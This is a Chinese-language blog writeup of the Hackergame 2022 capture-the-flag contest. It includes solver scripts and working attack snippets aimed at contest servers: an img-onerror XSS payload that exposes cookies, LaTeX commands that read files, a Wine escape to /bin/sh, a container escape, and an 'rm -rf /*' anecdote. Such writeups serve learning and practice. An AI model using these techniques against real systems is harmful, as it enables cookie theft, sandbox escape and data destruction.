Hackergame 2022 Writeup

Hackergame 2022 Writeup

Hanako

打完 Hackergame,我表示:我好菜哦。

勉强进了前 50,有一题因为看错题目差点做出来,只能说不愧是我。

话说今年的 Linux Kernel Pwn 题好多哦。

签到

0.1秒签个锤子。

直接提交,改 URL 参数。

喵咪问答猫

感谢红人 @ZenithalH 对本次猫咪问答的大力支持喵。

  1. https://cybersec.ustc.edu.cn/2022/0826/c23847a565848/page.htm 喵。
  2. https://ftp.lug.ustc.edu.cn/活动/2022.9.20_软件自由日/slides/gnome-wayland-user-perspective.pdf 喵。
  3. https://www.betaarchive.com/forum/viewtopic.php?t=34790 喵。
  4. https://github.com/torvalds/linux/search?q=CVE-2021-4034&type=commits 喵。
  5. 在 shodan 搜索这个 fingerprint 喵。

  1. https://netfee.ustc.edu.cn/faq/index.html 不准确,遂从 2003-01-01 开始爆破喵。得到 2003-03-01 喵。

听话,让我看看!

VS Code 里的 flag

直接在目录里搜索 flag 就有了。

Rclone 里的 flag

翻遍了文件夹里所有和 rclone 有关的文件,觉得 user/.config/rclone/rclone.conf 比较可疑。

pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

找到 https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go ,应该只是经过简单编码,未做加密,遂丢进 go 里加个 main 函数调用 Reveal 函数就出结果。

Python 4.0

鉴于 Python 3.14 的性能将超过 C++,如果 Python 3 有 100 个子版本的话,Python 4 估计就得靠量子计算机运行了。

正则匹配替换大法好。

Lycoris Recoil 足立脑子抽风版

连 BeautifulSoup 都省了,split 出算式之后 eval 一下就出来了,之后马上交回去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = 'http://202.38.93.111:10047/xcaptcha'

def solve():
t1 = time.time()
session = requests.Session()
session.get('http://202.38.93.111:10047/?token=')
resp = session.get(url)
q1 = resp.text.split('<label for="captcha1">')[1].split(' 的结果是?')[0]
q2 = resp.text.split('<label for="captcha2">')[1].split(' 的结果是?')[0]
q3 = resp.text.split('<label for="captcha3">')[1].split(' 的结果是?')[0]
x1_1, x1_2 = q1.split('+')
x2_1, x2_2 = q2.split('+')
x3_1, x3_2 = q3.split('+')
a1 = (int(x1_1)) + (int(x1_2))
a2 = (int(x2_1)) + (int(x2_2))
a3 = (int(x3_1)) + (int(x3_2))

t2 = time.time()
resp = session.post(url, headers={
'Content-Type': 'application/x-www-form-urlencoded'
}, data='captcha1=%s&captcha2=%s&captcha3=%s' % (a1, a2, a3))
assert '验证失败' in resp.text

while(True):
solve()

开盒

第一题

把图片文件用 macOS 自带预览打开,全出来了。

不过出题人很鸡贼地把位置信息抹掉了。

第二题

把建筑物丢进谷歌识图,得到 ZOZOマリンスタジアム。

鉴于你们立本的郵便番号比较离谱,遂根据图片找到酒店。

根据 EXIF 中的 Xiaomi sm6115 找到所有 Snapdragon 660 芯片的小米手机,比对摄像头形状,结论是 Redmi 9T,分辨率是 2340x1080。

为了查航班信息,我向 flightradar24 出卖了自己的 AmEx 卡。记得取消 7 天的试用订阅。

切换到 Multi 视图,Playback 到 UTC 2022 年 9 月 14 日 9 时 23 分,选中所有在海上的飞机,一个个尝试。

数字爆破

不会。大力出奇迹,2w 次后出结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

range = [0, 500000, 1000000]

token = ""
url_login = "http://202.38.93.111:18000/"
url_submit = "http://202.38.93.111:18000/state"
session = requests.session()
session.get(url_login, params={'token': token})

i = 0
while True:
i += 1
num = range[1] / 1000000
session.post(
url=url_submit,
headers={
"Content-Type": "text/plain;charset=UTF-8",
"authorization": "Bearer " + token
},
data="<state><guess>%.6f</guess></state>" % num
)
resp = session.get(
url=url_submit,
headers={
"authorization": "Bearer " + token
}
)
if 'guess' not in resp.text:
if 'flag' in resp.text:
print('%s %.6f flag' % (i, num))
exit(0)
else:
print('%s %.6f right' % (i, num))
range[0] = 0
range[2] = 1000000
else:
if 'more="true"' in resp.text:
print('%s %.6f more' % (i, num))
range[2] = range[1]
if 'less="true"' in resp.text:
print('%s %.6f less' % (i, num))
range[0] = range[1]
range[1] = round((range[0] + range[2]) / 2)

这么写论文会被学术界拉黑的罢

纯文本

用过 $\LaTeX$ 的应该都会。

\input{/flag1}

特殊字符混入

参考 how to use to latex read all content of a file concluding some lines have “%” 将 % 改为 # 和 _ 就好。

1
2
3
4
5
6
7
\newread\file
\catcode`\#=11
\catcode`\_=11
\openin\file=/flag2
\read\file to\fileline
\fileline
\closein\file

能关 Revision 的 Wiki 都不纯洁

Disabling restoring old revision 中看到:

1
When I disabled display of old revisions, restoring was still available through 'Recent Changes' -> 'Show differences to current revisions'.

在 DokuWiki 官网进入 Show differences to current revisions,得到链接 do=diff,丢进题设 Wiki 中,得到 flag。

简陋的 OJ

无法 AC 的题目

阅读代码,得知输出位于 ./data 下的 static.outdynamic*.out 中,其中 dynamic*.out 设了 0700 权限,被判程序以 runner 用户运行。

static.out 直接输出即可。

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main(){
system("cat ./data/static.out");
return 0;
}

第二问,Linux Pwn 不熟练,再见。

嘿嘿,我的板板🤤

使用 gerbv 打开所有层,导出为 PDF,用 PDF 编辑器删除所有圈圈,得到 flag。

Flag 管理员

按钮乱跑不乖怎么办?让触摸屏来治治!

什么?治了还不乖?

使用 x32dbg 找到“超级管理员”的位置:

将 4017FD 改为 401840,导出,运行,收工。

高数早忘光了

瞎填一通,分数为 0。

http://202.38.93.111:10056/share?result=MDox

1
> echo MDox | base64 -d0:1> echo "100:1" | base64MTAwOjEK

好,100 分。

康康页面,页面中使用 innerHTML 展示分数。

康康判题脚本,脚本把 flag 放在了 cookies 中。

那就可以通过 JavaScript 在页面上做手脚,显示 cookies 就有 flag 了。

鉴于 MDN 提到浏览器不会直接执行 innerHTML 中的 script 标签,那就按里面的提示用 img 标签来注入。

在本地测试的时候发现 chrome 在执行时会一直加载到超时,故加入 document.stop()

1
2
> echo "100:<img src='x' onerror='document.write(\"<\!DOCTYPE html><html><head></head><body><p id=\\\"greeting\\\">\"+document.cookie+\"</p><p id=\\\"score\\\"></p></body></html>\"); window.stop() '>" | base64
MTAwOjxpbWcgc3JjPSd4JyBvbmVycm9yPSdkb2N1bWVudC53cml0ZSgiPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxwIGlkPVwiZ3JlZXRpbmdcIj4iK2RvY3VtZW50LmNvb2tpZSsiPC9wPjxwIGlkPVwic2NvcmVcIj48L3A+PC9ib2R5PjwvaHRtbD4iKTsgd2luZG93LnN0b3AoKSAnPgo=

把 Wine 问青天

flag1

写个 c 语言程序输出 /flag1 的内容即可。

flag2

由查询可知 wine 在命令行中可以使用 start.exe /unix command 命令运行 Linux 程序。遂 clone 下来 wine 的源码,configure 后每个子模块的 Makefile 都有了,然后打开 programs/start/start.c

由源码可知 wmain 的参数 argv 接收参数,因此写死 argv 即可。

另外在实测中发现 start.exe /unix 不会输出 stdout 的内容,只有 stderr,故将 stdout 重定向至 stderr。

1
2
int argc = 5;
WCHAR *argv[5] = {L"start.exe", L"/unix", L"/bin/sh", L"-c", L"/readflag 1>&2"};

在 start 目录下 make 获得 start.exe,提交获得 flag。

另发现如果执行文件名和 wine 内置命令名称相同会执行内置命令,因此在本地测试的时候需要更改文件名。

歪,110 吗

五局三胜,前两局扔了也没关系。

源码中的随机数种子为:

srand((unsigned)time(0) + clock());

clock 函数为 CPU 时间,具体值视具体操作系统而定,这也是题目给出容器基于 debian:11 的原因。

根据前两个值枚举 CPU 时间,在 debian:11 环境下获得结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

double rand01(){
return (double)rand() / RAND_MAX;
}

int main(){
unsigned int t = (unsigned)time(0);
printf("%u\n", t);

char find[8];
char find2[8];
scanf("%s", find);
printf("%s\n", find);
scanf("%s", find2);
printf("%s\n", find2);
char target[20];
for(unsigned int i = 0; i <= 20000; i++){
srand(t + i);
int M = 0;
int N = 400000;
for (int j = 0; j < N; j++) {
double x = rand01();
double y = rand01();
if (x*x + y*y < 1) M++;
}
double pi = (double)M / N * 4;
sprintf(target, "%1.5f", pi);
printf("%u %s\n", t + i, target);
if (strcmp(target, find) == 0) {
int M = 0;
for (int j = 0; j < N; j++) {
double x = rand01();
double y = rand01();
if (x*x + y*y < 1) M++;
}
double pi = (double)M / N * 4;
sprintf(target, "%1.5f\0", pi);
printf(" -> %u %s ", t + i, target);
printf("%d\n", strcmp(target, find2));
if (strcmp(target, find2) == 0) {
for(int k = 0; k < 3; k++){
int M = 0;
for (int j = 0; j < N; j++) {
double x = rand01();
double y = rand01();
if (x*x + y*y < 1) M++;
}
double pi = (double)M / N * 4;
sprintf(target, "%1.5f\0", pi);
printf(" -> -> %u %s\n", t + i, target);
}
return 0;
}
}
}
return 1;
}

多几个字符会死吗

HS384

题目看错,痛失 200 分。就差一点。

有两种情况:没有 e有 e

分别枚举即可。

这个时候体现出一块好 CPU 的重要性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import json

s = 36
class Solution(object):
def combinationSum(self, candidates, target):
result = []
candidates.sort()
def dfs(total, nums, index):
if total > target: return
if total == target:
if nums not in result:
result.append(nums)
return
for i in range(index, len(candidates)):
dfs(total+candidates[i], nums+[candidates[i]], i)
dfs(0, [], 0)
r = []
for i in result:
if len(i) == 9:
r.append(i)
return r

a = Solution().combinationSum(list(range(1, s + 1)), s)
json.dump(a, open('test.json', 'w'))
print(len(a))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import json
import itertools
from hashlib import sha384
from re import I
import sys

target = 'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47fa170f33d53bc62074271866a4e4d1325dc27f644fdad'
def permutation(li):
return list(itertools.permutations(li))

with open('test.json') as f:
d = json.load(f) # 1549
for iii, da in enumerate(d[int(sys.argv[1]):int(sys.argv[2])]):
p = permutation(da)
print(iii)
for iiii, data in enumerate(p):
string = 'u' * data[0] + 's' * data[1] + 't' * data[2] + 'c' * data[3] + 'e.' +\
'e' * data[4] + 'd' * data[5] + 'u' * data[6] + '.' +\
'c' * data[7] + 'n' * data[8]
if iiii % 50000 == 0:
print('-', iiii, string)
result = sha384(string.encode()).hexdigest()
i = 0
flag = False
for ii, x in enumerate(target):
res = result.find(x, i)
if res != -1:
i = res
else:
break
if ii == len(target) - 1:
print('success', string, result)
exit()

需要一块好显卡

把页面拉下来,去掉 fragment-shader.js 中的 t5 即可。

说起来,这个页面在实验室的 3090 上的渲染帧率是 59.95 FPS。

人肉 SD 卡阅读器

引导扇区

SPI 接口 4 条信号线:

1
2
3
4
1) SCLK:串行时钟,用来同步数据传输,由主机输出;
2) MOSI:主机输出从机输入(Master Output Slaver Input)数据线;
3) MISO:主机输入从机输出数据线;
4) SS:片选线,低电平有效,由主机输出。

使用 PulseView 打开时序文件,波特率 24000000,获得 4 个信号,由观察可知最后一个信号为读信号,其中为 SD 卡中保存的内容。

第一个 flag 在约 8353ns 处开始开始,起始比特为 0110 0110 (f),根据第 2 个信号的时钟切割比特,直到 0111 1101 (}) 为止,之后转换 ASCII 即可。

届かないファイル

注意:这是非预期解。

一行命令解决问题:

rm /sbin/poweroff; exit

然后就是 root shell,两个 flag 都可以直接 cat 出来。

怎么发现的

进了容器逛了一圈,发现 /etc/init.d/rcS 涉及两个 flag 的权限设置,非常可疑。

搞不定,恼羞成怒,rm -rf /* 后啥也没了,只剩下 shell 内置命令,遂 exit。

发现 exit 不出去,报错:

意识到 exit 可以触发 /etc/init.d/rcS,接下来就是误打误撞的过程,我也忘了。

flag1 给出了预期解的提示。

妮可量子物理世界有名

我知道出题人想分享学习 1.0 分的量子物理 的喜悦,我很理解他,我分享 2.9 分的《上海堡垒》 的时候也是这个心情。

先上 YouTube 看了一些 BB84 算法的相关视频。这里不解释算法内容,反正不重要。

第一章

制备基底填 300 个 x,量子态填 300 个 0,测量基底里有几个 x 就填几个 0,进入第二关。

第二章

奇怪的图片,我的评价是我看不懂。

网上说是 qiskit 的量子电路图,我在 GitHub 上找到了这个例子 ,感觉还挺好使,图例里全提到了,除了左边那个 |>0

在 QuantumCircuit.draw 的代码中搜索 |>0 找到这玩意的定义:

1
initial_state (bool): Optional. Adds ``|0>`` in the beginning of the wire. Default is False.

看来不是很重要。

根据栗子复现图片即可。就是有点费眼睛。

最后需要 measure 一次,否则没有结果。别问我为什么,问妮可学生,他们人均量子高手。

建议使用 Jupyter Notebook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
%matplotlib inline
from qiskit import *
c = QuantumCircuit(129,128)
c.h(list(range(0, 128)))
c.x(128)
c.h(128)

c.barrier()
c.cx(0, 128)
c.x(1)
c.z(2)
c.x(26)
c.z(27)
c.x([31, 46])
c.z(47)

'''中间省略 114514 行'''

c.cx(115, 128)
c.cx(117, 128)
c.cx(118, 128)
c.x(118)
c.cx(121, 128)
c.cx(122, 128)
c.cx(125, 128)
c.cx(126, 128)

c.barrier()
c.h(list(range(0, 128)))

c.measure(list(range(0, 128)),list(range(0, 128)))

c.draw(output='mpl', initial_state=True, fold=-1)

simulator = Aer.get_backend('qasm_simulator')
result = execute(c, backend=simulator, shots=1000).result()
counts = result.get_counts()
print(counts)

128位二进制转换为文本即为 flag。

我弟说不定喜欢玩

这么简单我闭眼都可以!

4 位二进制共 16 个数,一个个试。

大力当然出奇迹啦~

16 位共 65536 个数,使 action_last 在一轮结束后将框内值改为下一个,然后一直点 L 即可((

1
2
3
4
5
6
7
8
9
async def action_last(self):
if self.pc == len(self.inbits):
self.pc = 0
inbits = int(''.join(map(str, self.inbits.copy())), 2)
inbits += 1
self.inbits = list(map(int, bin(inbits)[2:].zfill(len(self.inbits))))

else:
self.pc = len(self.branches)

那自然是不太可能,手会废掉的。

也没法全自动,texture 会死机。

把 Board 类单独拎出来,慢慢轮,总会轮到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import json

class Board:
def __init__(self):
self.b = [[i*4+j for j in range(4)] for i in range(4)]

def _blkpos(self):
for i in range(4):
for j in range(4):
if self.b[i][j] == 15:
return (i, j)

def reset(self):
for i in range(4):
for j in range(4):
self.b[i][j] = i*4 + j

def move(self, moves):
for m in moves:
i, j = self._blkpos()
if m == 'L':
self.b[i][j] = self.b[i][j-1]
self.b[i][j-1] = 15
elif m == 'R':
self.b[i][j] = self.b[i][j+1]
self.b[i][j+1] = 15
elif m == 'U':
self.b[i][j] = self.b[i-1][j]
self.b[i-1][j] = 15
else:
self.b[i][j] = self.b[i+1][j]
self.b[i+1][j] = 15

def __bool__(self):
for i in range(4):
for j in range(4):
if self.b[i][j] != i*4 + j:
return True
return False

board = Board()
filename = 'chals/b16_obf.json'
inbits = [0]*16

with open(filename) as f:
branches = json.load(f)

def watch_pc(index):
board.reset()
for branch in branches[:index]:
board.move(branch[1] if inbits[branch[0]] else branch[2])
return bool(board)

while True:
inbits_ = int(''.join(map(str, inbits.copy())), 2)
inbits_ += 1
inbits = list(map(int, bin(inbits_)[2:].zfill(16)))
result = watch_pc(256)
print(result, ''.join(map(str, inbits)))
assert not result

我们不一样~不一样~

有手就行

按题目提示下载安装 bindiff,成功率还挺高,不成功就换个时间戳,确实是有手就行。

唯快不破

翻 GitHub 翻到个 idahunt ,可以全自动生成 .idb 或 .i64 文件。缺点是需要手动修改脚本中的 IDA 安装目录

bindiff.exe 有 CLI 界面,可以自动将目录中的 .idb 或 .i64 转换为 BinExport,并比较后输出文本比较日志。

1
2
3
4
5
6
PS C:\Program Files\BinDiff\bin> .\bindiff.exe --help
bindiff.exe: Find similarities and differences in disassembled code.
Usage: bindiff.exe [OPTION] DIRECTORY
--output_format (comma-separated list of output formats: log (text file),
bin[ary] (BinDiff database loadable by the disassembler plugins));
default: bin;

然后正则一下比较日志,输出相同的地址,找不到的随便交一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import re
import os
import subprocess
import shutil
from pwn import *
import time

results = []
targets = []
token = ''

def download(url, path):
print(f'Downloading {url} to {path}')
r = requests.get(url)
with open(path, 'wb') as f:
f.write(r.content)

shutil.rmtree('bin')
shutil.rmtree('result')
os.mkdir('bin')
os.mkdir('result')
t = str(int(time.time()) - 60)
print('timestamp:' + t)

p = remote('202.38.93.111', 12400)
p.recvuntil('Please input your token: ')
p.sendline(token)
p.recvuntil('Easy')
p.sendline('2')
p.recvuntil('(y/N)')
p.sendline('N')
p.recvuntil('timestamp:')
p.sendline(t)
for i in range(100):
data = p.recvuntil('2nd binary:')
url = re.findall('https?://\S+', data.decode())[0]
download(url, f'bin/{i + 1}-1')
data = p.recvuntil('There is a')
url = re.findall('https?://\S+', data.decode())[0]
download(url, f'bin/{i + 1}-2')
data = p.recvuntil('in the first')
target = re.findall(r'0x[0-9A-Za-z]*', data.decode())[0]
targets.append(target)
print('target:', target)
p.recvuntil('(in hex):')
p.sendline('0')

p = subprocess.Popen(['python', '.\\idahunt\\idahunt.py', '--inputdir', '.\\bin\\', '--analyse'])
return_code = p.wait()

for i in range(100):
os.mkdir(f'result/{i + 1}')
shutil.copyfile(f'bin/{i + 1}-1.i64', f'result/{i + 1}/{i + 1}-1.i64')
shutil.copyfile(f'bin/{i + 1}-2.i64', f'result/{i + 1}/{i + 1}-2.i64')
p = subprocess.Popen(['C:\\Program Files\\BinDiff\\bin\\bindiff.exe', f'.\\result\\{i + 1}', '--output_format', 'log'])
return_code = p.wait()
with open(f'./result/{i + 1}/{i + 1}-1_vs_{i + 1}-2.results') as f:
data = f.read()
target = targets[i].split('x')[1]
addrs = re.findall(target.upper().zfill(8) + r'\t[0-9A-Za-z]*\n', data)
if len(addrs):
addr = '0x' + addrs[0][9:17].lower().lstrip('0')
else:
addr = None
print(i + 1, targets[i], addr)
results.append(addr)

p = remote('202.38.93.111', 12400)
p.recvuntil('Please input your token: ')
p.sendline(token)
p.recvuntil('Easy')
p.sendline('2')
p.recvuntil('(y/N)')
p.sendline('N')
p.recvuntil('timestamp:')
p.sendline(t)

for i in range(100):
p.recvuntil('(in hex):')
p.sendline(results[i] if results[i] else '0')
print('sent:', i + 1, results[i] if results[i] else '0')
data = p.recvall(timeout=5).decode()
print(data)
if 'flag' in data:
break

在第三问中不是很好使,算了。

总结

我在 Linux Pwn 题型面前感到了深深的无力,想了想还是多看点 Linux Kernel 相关书籍吧。

math 不会,再见。

如果我在折腾神经网络的时候顺便阅读一下 torch.load 的代码说不定能再多 250 分。

傻傻炼丹壬真的炼,改梯度改不下去,晕(哼哼啊啊啊啊)

今年 Hackergame 延续了往年的风格,难度梯度增加,大佬云集,内卷严重,值得我掏出整整七天熬夜为之折腰。

感谢主催和出题人和驱动着我内卷的群友们。

  • 标题: Hackergame 2022 Writeup
  • 作者: Hanako
  • 创建于 : 2022-10-30 01:49:33
  • 更新于 : 2023-10-22 22:48:36
  • 链接: https://hanako.me/hg2022.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。